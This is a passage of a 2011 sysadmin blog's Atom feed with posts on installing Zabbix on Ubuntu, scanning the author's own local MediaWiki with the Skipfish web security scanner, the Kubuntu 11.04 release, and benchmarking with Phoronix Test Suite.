configuration files into them. We must also add a new user (&lt;i&gt;zabbix&lt;/i&gt;) to the system and dump the data and schemas within the Zabbix database.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/zabbix-1.8.5# mkdir -p /etc/zabbix/alert.d /etc/zabbix/externalscripts /var/log/zabbix /var/run/zabbix /usr/share/zabbix&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.5# useradd -r -d /var/run/zabbix -s /sbin/nologin zabbix&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.5# cp -a misc/conf/zabbix_server.conf misc/conf/zabbix_agentd.conf /etc/zabbix/&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.5# cp -r frontends/php/* /usr/share/zabbix&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.5# chown zabbix:zabbix /var/run/zabbix /var/log/zabbix&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/zabbix-1.8.5# (echo "USE zabbix;" ; cat create/schema/mysql.sql ; cat create/data/data.sql ; cat create/data/images_mysql.sql) | mysql -h 127.0.0.1 -u zabbix --password=xxxxxx&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Below we can see the minimum setting for both the server and client.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/zabbix/zabbix_server.conf&lt;br /&gt;...&lt;br /&gt;# Zabbix server log file&lt;br /&gt;LogFile=/var/log/zabbix/zabbix_server.log&lt;br /&gt;&lt;br /&gt;# Zabbix server PID file&lt;br /&gt;PidFile=/var/run/zabbix/zabbix_server.pid&lt;br /&gt;&lt;br /&gt;# Zabbix database user and password&lt;br /&gt;DBUser=zabbix&lt;br /&gt;DBPassword=xxxxxx&lt;br /&gt;&lt;br /&gt;# Location of alert scripts&lt;br /&gt;AlertScriptsPath=/etc/zabbix/alert.d/&lt;br /&gt;&lt;br /&gt;# Location of external scripts&lt;br /&gt;ExternalScripts=/etc/zabbix/externalscripts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /etc/zabbix/zabbix_agentd.conf&lt;br /&gt;...&lt;br /&gt;# Zabbix client PID file&lt;br /&gt;PidFile=/var/run/zabbix/zabbix_agentd.pid&lt;br /&gt;&lt;br /&gt;# Zabbix client log file&lt;br /&gt;LogFile=/var/log/zabbix/zabbix_agentd.log&lt;br /&gt;&lt;br /&gt;# Allow remote commands from zabbix server&lt;br /&gt;EnableRemoteCommands=1&lt;br /&gt;&lt;br /&gt;# Maximum time for processing&lt;br /&gt;Timeout=10&lt;br /&gt;&lt;br /&gt;# System hostname&lt;br /&gt;Hostname=ubuntu-server&lt;br /&gt;&lt;br /&gt;# Zabbix server IP&lt;br /&gt;Server=::ffff:127.0.0.1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# chmod 600 /etc/zabbix/zabbix_server.conf&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;So as to be able to automatically start and stop the Zabbix agent and server, we have to create an &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html"&gt;Upstart&lt;/a&gt; file for this task. The Zabbix source code already provides the suitable script for Upstart, but I prefer to employ my own files (then you can see them - I have set some dependences which I consider important).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# cat /etc/init/zabbix-server.conf&lt;br /&gt;# Start zabbix server&lt;br /&gt;&lt;br /&gt;pre-start script&lt;br /&gt;if [ ! -d /var/run/zabbix ]; then&lt;br /&gt;     mkdir -p /var/run/zabbix&lt;br /&gt;     chown zabbix:zabbix /var/run/zabbix&lt;br /&gt;fi&lt;br /&gt;end script&lt;br /&gt;&lt;br /&gt;start on started mysql&lt;br /&gt;stop on stopping mysql&lt;br /&gt;respawn&lt;br /&gt;expect daemon&lt;br /&gt;exec /usr/local/sbin/zabbix_server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# cat /etc/init/zabbix-agent.conf&lt;br /&gt;# Start zabbix agent&lt;br /&gt;&lt;br /&gt;pre-start script&lt;br /&gt;if [ ! -d /var/run/zabbix ]; then&lt;br /&gt;     mkdir -p /var/run/zabbix&lt;br /&gt;     chown zabbix:zabbix /var/run/zabbix&lt;br /&gt;fi&lt;br /&gt;end script&lt;br /&gt;&lt;br /&gt;start on filesystem&lt;br /&gt;stop on starting shutdown&lt;br /&gt;respawn&lt;br /&gt;expect daemon&lt;br /&gt;exec /usr/local/sbin/zabbix_agentd&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we can end the part of the Zabbix binary installation by registering the services and booting the processes up.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# echo "zabbix-agent    10050/tcp  Zabbix Agent"   &amp;gt;&amp;gt; /etc/services&lt;br /&gt;root@ubuntu-server:~# echo "zabbix-agent    10050/udp  Zabbix Agent"   &amp;gt;&amp;gt; /etc/services&lt;br /&gt;root@ubuntu-server:~# echo "zabbix-trapper  10051/tcp  Zabbix Trapper" &amp;gt;&amp;gt; /etc/services&lt;br /&gt;root@ubuntu-server:~# echo "zabbix-trapper  10051/udp  Zabbix Trapper" &amp;gt;&amp;gt; /etc/services&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# start zabbix-server&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# start zabbix-agent&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-2253738477358226890?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/2253738477358226890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/zabbix-server-installation-on-ubuntu-i.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2253738477358226890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/2253738477358226890'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/zabbix-server-installation-on-ubuntu-i.html' title='Zabbix server installation on Ubuntu (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1421036273449749604</id><published>2011-05-08T13:28:00.010+02:00</published><updated>2011-11-01T21:40:41.762+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Looking for web security breaches with Skipfish (II)</title><content type='html'>I am going to finish my article about &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/04/looking-for-web-security-breaches-with.html"&gt;looking for web security breaches with Skipfish&lt;/a&gt;. Once we have got a global sight of skipfish, I will run a test against a default MediaWiki installation.&lt;br /&gt;&lt;br /&gt;First, I must create a dictionary although it will not be used in this test. One interesting option that I have chosen is &lt;i&gt;-I&lt;/i&gt;, in order to only follow those URLs which match the string associated with the parameter.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~/skipfish-1.86b$ cp -a dictionaries/complete.wl dictionary.wl&lt;br /&gt;&lt;br /&gt;javi@ubuntu-server:~/skipfish-1.86b$ ./skipfish -W /dev/null -I http://192.168.122.104/mediawiki -o mediawiki_dir http://192.168.122.104/mediawiki&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;If you do not set this option and skipfish figures out more sites, it will scan them as well. In case you want to shut out a specific URL, you must establish it by means of the &lt;i&gt;-X&lt;/i&gt; parameter.&lt;br /&gt;&lt;br /&gt;During the crawling, skipfish shows information in real time about its analysis.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;skipfish version 1.86b by &amp;lt;lcamtuf@google.com&amp;gt;                                                                                                                                                                                                                          &lt;br /&gt;                                                                                                                                                                                                                                                                 &lt;br /&gt;- 192.168.122.104 -                                                                                                                                                                                                                                                   &lt;br /&gt;                                                                                                                                                                                                                                                                 &lt;br /&gt;Scan statistics:                                                                                                                                                                                                                                                        &lt;br /&gt;                                                                                                                                                                                                                                                                 &lt;br /&gt;Scan time : 0:59:38.542                                                                                                                                                                                                                                           &lt;br /&gt;HTTP requests : 34669 (10.4/s), 100769 kB in, 12487 kB out (31.6 kB/s)                                                                                                                                                                                                &lt;br /&gt;Compression : 77967 kB in, 255451 kB out (53.2% gain)                                                                                                                                                                                                               &lt;br /&gt;HTTP faults : 0 net errors, 0 proto errors, 0 retried, 0 drops                                                                                                                                                                                                      &lt;br /&gt;TCP handshakes : 351 total (152.0 req/conn)                                                                                                                                                                                                                            &lt;br /&gt;TCP faults : 0 failures, 0 timeouts, 3 purged                                                                                                                                                                                                                      &lt;br /&gt;External links : 202 skipped                                                                                                                                                                                                                                           &lt;br /&gt;Reqs pending : 18692                                                                                                                                                                                                                                                 &lt;br /&gt;                                                                                                                                                                                                                                                                 &lt;br /&gt;Database statistics:                                                                                                                                                                                                                                                    &lt;br /&gt;                                                                                                                                                                                                                                                                 &lt;br /&gt;  Pivots : 880 total, 462 done (52.50%)                                                                                                                                                                                                                          &lt;br /&gt;In progress : 34 pending, 145 init, 221 attacks, 18 dict                                                                                                                                                                                                            &lt;br /&gt;Missing nodes : 4 spotted                                                                                                                                                                                                                                             &lt;br /&gt;Node types : 1 serv, 186 dir, 544 file, 16 pinfo, 76 unkn, 57 par, 0 val                                                                                                                                                                                           &lt;br /&gt;Issues found : 11 info, 75 warn, 57 low, 0 medium, 128 high impact                                                                                                                                                                                                   &lt;br /&gt;Dict size : 263 words (263 new), 4 extensions, 256 candidates&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;At the end of the process, skipfish will dump all the data collected within the &lt;i&gt;mediawiki_dir&lt;/i&gt; directory (defined by the &lt;i&gt;-o&lt;/i&gt; option), that in turn contains an HTML file (&lt;i&gt;index.html&lt;/i&gt;) which allows to view the report generated.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-8nGvUcmrAIo/TcaEZITy0RI/AAAAAAAAAkU/REZc4V0L6WI/s1600/Looking%2Bfor%2Bweb%2Bsecurity%2Bbreaches%2Bwith%2BSkipfish.jpeg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5604312353571262738" src="http://3.bp.blogspot.com/-8nGvUcmrAIo/TcaEZITy0RI/AAAAAAAAAkU/REZc4V0L6WI/s400/Looking%2Bfor%2Bweb%2Bsecurity%2Bbreaches%2Bwith%2BSkipfish.jpeg" style="cursor: hand; cursor: pointer; display: block; height: 382px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the previous outcome, skipfish has only found out severe problems related to HTTP PUTs accepted.&lt;br /&gt;&lt;br /&gt;So as to be able to understand the results offered by skipfish and if you do not have deep knowledge about web security (like me), you might take a look at the &lt;a href="http://code.google.com/p/browsersec/wiki/Main"&gt;Browser Security Handbook&lt;/a&gt;, written and maintained by the same author who is developing skipfish.&lt;br /&gt;&lt;br /&gt;Other interesting parameter is for example &lt;i&gt;-A&lt;/i&gt;, used for passing HTTP authentication credentials.&lt;br /&gt;&lt;br /&gt;And finally, also point out that you can tune skipfish in networking or crawling scopes, through different options which allow to set up for instance parameters related to TCP connections or the depth of the analysis. For getting more information you can check the &lt;a href="http://code.google.com/p/skipfish/wiki/SkipfishDoc"&gt;project documentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1421036273449749604?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1421036273449749604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/looking-for-web-security-breaches-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1421036273449749604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1421036273449749604'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/looking-for-web-security-breaches-with.html' title='Looking for web security breaches with Skipfish (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-8nGvUcmrAIo/TcaEZITy0RI/AAAAAAAAAkU/REZc4V0L6WI/s72-c/Looking%2Bfor%2Bweb%2Bsecurity%2Bbreaches%2Bwith%2BSkipfish.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1051515184638938955</id><published>2011-05-03T23:00:00.004+02:00</published><updated>2011-11-01T21:41:20.422+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Operating systems'/><title type='text'>Kubuntu 11.04 Natty Narwhal</title><content type='html'>Here is the last version of Kubuntu, 11.04, also known as Natty Narwhal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-qfoF1UEkvmM/TcBtaNwDnrI/AAAAAAAAAkM/t47TMWy8KyY/s1600/kubuntu%2B11.04.jpeg"&gt;&lt;img alt="" border="0" height="250" id="BLOGGER_PHOTO_ID_5602598233584148146" src="http://2.bp.blogspot.com/-qfoF1UEkvmM/TcBtaNwDnrI/AAAAAAAAAkM/t47TMWy8KyY/s400/kubuntu%2B11.04.jpeg" style="display: block; height: 250px; margin: 0px auto 10px; text-align: center; width: 400px;" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This release comes with important features such as a new kernel (2.6.38), the last KDE stable version (4.6.2), OpenOffice.org has been replaced by LibreOffice 3.3.2 (it is about time!), &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/03/booting-system-with-upstart-i.html"&gt;Upstart&lt;/a&gt; (0.9.7), LVM2 2.02.66 (very important for taking snapshots with LVM), Firefox 4.0.1 and so on.&lt;br /&gt;&lt;br /&gt;It is significant to mention the new kernel, since fixes the &lt;span style="font-style: italic;"&gt;Big Kernel Lock&lt;/span&gt; problem. Also point out the new Samba filesharing system, which allows easyly to share a directory in Dolphin, by configuring it through the &lt;i&gt;Properties&lt;/i&gt; option.&lt;br /&gt;&lt;br /&gt;My first impressions are very good, we have got a hardy and useful system, well worked out and really light.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-1051515184638938955?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/1051515184638938955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/kubuntu-1104-natty-narwhal.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1051515184638938955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/1051515184638938955'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/05/kubuntu-1104-natty-narwhal.html' title='Kubuntu 11.04 Natty Narwhal'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-qfoF1UEkvmM/TcBtaNwDnrI/AAAAAAAAAkM/t47TMWy8KyY/s72-c/kubuntu%2B11.04.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-6269422670545040807</id><published>2011-04-24T21:40:00.008+02:00</published><updated>2011-11-01T21:48:48.508+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Looking for web security breaches with Skipfish (I)</title><content type='html'>When we have to secure a system, it is very important to employ all the security tools we know, in order to protect it all the best we can. &lt;a href="http://code.google.com/p/skipfish/"&gt;Skipfish&lt;/a&gt; is one of those applications which always has to be near.&lt;br /&gt;&lt;br /&gt;It is a web security scanner, developed in C, which allows to discover lots of security holes on a web site by performing several kinds of tests:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;High risk: SQL / PHP / XML / shell script injections, etc. &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Medium risk: XSS (Cross-Site Scripting), CSS attacks, MIME type problems, etc.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Low risk: indexed directories, certificate problems, HTTP credentials, etc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Due to it is written in pure C, it can reach an high performance: around 500 requests per second against targets located on Internet, about 2000 on local networks and more than 7000 on local hosts. Skipfish generates a sitemap with all the discovered paths, a summary of the document types and a set of security breaches.&lt;br /&gt;&lt;br /&gt;I am going to try skipfish (1.86b version) out on an Ubuntu Server 10.10, by crawling a default MediaWiki installation. So as to install skipfish, we must fulfill some dependences on our system and then, compile it.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~$ sudo aptitude install build-essential libssl-dev libidn11-dev&lt;br /&gt;&lt;br /&gt;javi@ubuntu-server:~$ wget http://skipfish.googlecode.com/files/skipfish-1.86b.tgz&lt;br /&gt;&lt;br /&gt;javi@ubuntu-server:~/skipfish-1.86b$ tar xvzf skipfish-1.86b.tgz&lt;br /&gt;&lt;br /&gt;javi@ubuntu-server:~/skipfish-1.86b$ make&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By typing the &lt;i&gt;-h&lt;/i&gt; argument, we can take a look at all the available options by skipfish.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~/skipfish-1.86b$ ./skipfish -h&lt;br /&gt;skipfish version 1.86b by &amp;lt;lcamtuf@google.com&amp;gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Usage: ./skipfish [ options ... ] -o output_dir start_url [ start_url2 ... ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Authentication and access options:&lt;br /&gt;&lt;br /&gt;-A user:pass   - use specified HTTP authentication credentials&lt;br /&gt;-F host=IP     - pretend that 'host' resolves to 'IP'&lt;br /&gt;-C name=val    - append a custom cookie to all requests&lt;br /&gt;-H name=val    - append a custom HTTP header to all requests&lt;br /&gt;-b (i|f|p)     - use headers consistent with MSIE / Firefox / iPhone&lt;br /&gt;-N             - do not accept any new cookies&lt;br /&gt;&lt;br /&gt;Crawl scope options:&lt;br /&gt;&lt;br /&gt;-d max_depth   - maximum crawl tree depth (16)&lt;br /&gt;-c max_child   - maximum children to index per node (512)&lt;br /&gt;-x max_desc    - maximum descendants to index per branch (8192)&lt;br /&gt;-r r_limit     - max total number of requests to send (100000000)&lt;br /&gt;-p crawl%      - node and link crawl probability (100%)&lt;br /&gt;-q hex         - repeat probabilistic scan with given seed&lt;br /&gt;-I string      - only follow URLs matching 'string'&lt;br /&gt;-X string      - exclude URLs matching 'string'&lt;br /&gt;-K string      - do not fuzz parameters named 'string'&lt;br /&gt;-D domain      - crawl cross-site links to another domain&lt;br /&gt;-B domain      - trust, but do not crawl, another domain&lt;br /&gt;-Z             - do not descend into 5xx locations&lt;br /&gt;-O             - do not submit any forms&lt;br /&gt;-P             - do not parse HTML, etc, to find new links&lt;br /&gt;&lt;br /&gt;Reporting options:&lt;br /&gt;&lt;br /&gt;-o dir         - write output to specified directory (required)&lt;br /&gt;-M             - log warnings about mixed content / non-SSL passwords&lt;br /&gt;-E             - log all HTTP/1.0 / HTTP/1.1 caching intent mismatches&lt;br /&gt;-U             - log all external URLs and e-mails seen&lt;br /&gt;-Q             - completely suppress duplicate nodes in reports&lt;br /&gt;-u             - be quiet, disable realtime progress stats&lt;br /&gt;&lt;br /&gt;Dictionary management options:&lt;br /&gt;&lt;br /&gt;-W wordlist    - load an alternative wordlist (skipfish.wl)&lt;br /&gt;-L             - do not auto-learn new keywords for the site&lt;br /&gt;-V             - do not update wordlist based on scan results&lt;br /&gt;-Y             - do not fuzz extensions in directory brute-force&lt;br /&gt;-R age         - purge words hit more than 'age' scans ago&lt;br /&gt;-T name=val    - add new form auto-fill rule&lt;br /&gt;-G max_guess   - maximum number of keyword guesses to keep (256)&lt;br /&gt;&lt;br /&gt;Performance settings:&lt;br /&gt;&lt;br /&gt;-g max_conn    - max simultaneous TCP connections, global (40)&lt;br /&gt;-m host_conn   - max simultaneous connections, per target IP (10)&lt;br /&gt;-f max_fail    - max number of consecutive HTTP errors (100)&lt;br /&gt;-t req_tmout   - total request response timeout (20 s)&lt;br /&gt;-w rw_tmout    - individual network I/O timeout (10 s)&lt;br /&gt;-i idle_tmout  - timeout on idle HTTP connections (10 s)&lt;br /&gt;-s s_limit     - response size limit (200000 B)&lt;br /&gt;-e             - do not keep binary responses for reporting&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Basically we can see that the skipfish command is made up by a set of options, an output directory for saving the results, and a series of URLs to be analyzed.&lt;br /&gt;&lt;br /&gt;We have to take into account when skipfish is working out, it just tests those found links, but we also have the possibility to probe other URLs by means of a brute-force attack, by mixing names (index, doc, etc.) and extensions (pdf, bat, etc.). For this purpose, skipfish affords four dictionaries.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@ubuntu-server:~/skipfish-1.86b$ ls dictionaries/*.wl                                                                                                                                                                                                                     &lt;br /&gt;dictionaries/complete.wl  dictionaries/extensions-only.wl  dictionaries/medium.wl  dictionaries/minimal.wl&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;By default, skipfish will treat to use a dictionary named &lt;i&gt;skipfish.wl&lt;/i&gt; and situated on the work directory. Therefore either we can copy one of these dictionaries into the work directory under this name, or use the &lt;i&gt;-W&lt;/i&gt; option to define the wordlist path or on the contrary, not to use a dictionary.&lt;br /&gt;&lt;br /&gt;As the application is crawling, adds new words within the dictionary.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-6269422670545040807?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/6269422670545040807/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/looking-for-web-security-breaches-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6269422670545040807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/6269422670545040807'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/04/looking-for-web-security-breaches-with.html' title='Looking for web security breaches with Skipfish (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-5329413964449354355</id><published>2011-04-17T12:48:00.009+02:00</published><updated>2011-11-01T21:49:29.207+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Benchmarking with Phoronix Test Suite (II)</title><content type='html'>This is the second and final part of the article &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/04/benchmarking-with-phoronix-test-suite-i.html"&gt;Benchmarking with Phoronix Test Suite&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If we want to carry out the test or suite with the default options, we must aggregate the &lt;i&gt;default-run&lt;/i&gt; parameter. Also mention that we can type multiple tests or suites with the &lt;i&gt;run&lt;/i&gt; or &lt;i&gt;default-run&lt;/i&gt; order.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite run iozone&lt;br /&gt;&lt;br /&gt;Phoronix Test Suite v3.0.1&lt;br /&gt;IOzone Test Configuration&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Record Size:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1: 4Kb&lt;br /&gt;2: 64Kb&lt;br /&gt;3: 1MB&lt;br /&gt;4: Test All Options&lt;br /&gt;&lt;br /&gt;Enter Your Choice: 2&lt;br /&gt;&lt;br /&gt;&lt;b&gt;File Size:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1: 512MB&lt;br /&gt;2: 2GB&lt;br /&gt;3: 4GB&lt;br /&gt;4: 8GB&lt;br /&gt;5: Test All Options&lt;br /&gt;&lt;br /&gt;Enter Your Choice: 1&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Disk Test:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1: Write Performance&lt;br /&gt;2: Read Performance&lt;br /&gt;3: Test All Options&lt;br /&gt;&lt;br /&gt;Enter Your Choice: 3&lt;br /&gt;Would you like to save these test results (Y/n): Y&lt;br /&gt;Enter a name to save these results: ubuntu-server&lt;br /&gt;&lt;br /&gt;Current Test Identifiers:&lt;br /&gt;- apache&lt;br /&gt;&lt;br /&gt;Enter a unique name for this test run: iozone&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~/phoronix-test-suite# ./phoronix-test-suite default-run iozone&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Where are the results and the test environments stored on the filesystem?&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@ubuntu-server:~# tree -d .phoronix-test-suite/test-results/&lt;br /&gt;.phoronix-test-suite/test-results/&lt;br /&gt;├── pts-results-viewer&lt;br /&gt;└── ubuntu-server&lt;br /&gt;├── result-graphs&lt;br /&gt;└── system-logs&lt;br /&gt;├── apache&lt;br /&gt;└── iozone&lt;br /&gt;&lt;br /&gt;root@ubuntu-server:~# tree -d .phoronix-test-suite/installed-tests/&lt;br /&gt;.phoronix-test-suite/installed-tests/&lt;br /&gt;└── pts&lt;br /&gt;├── apache-1.3.0&lt;br /&gt;└── 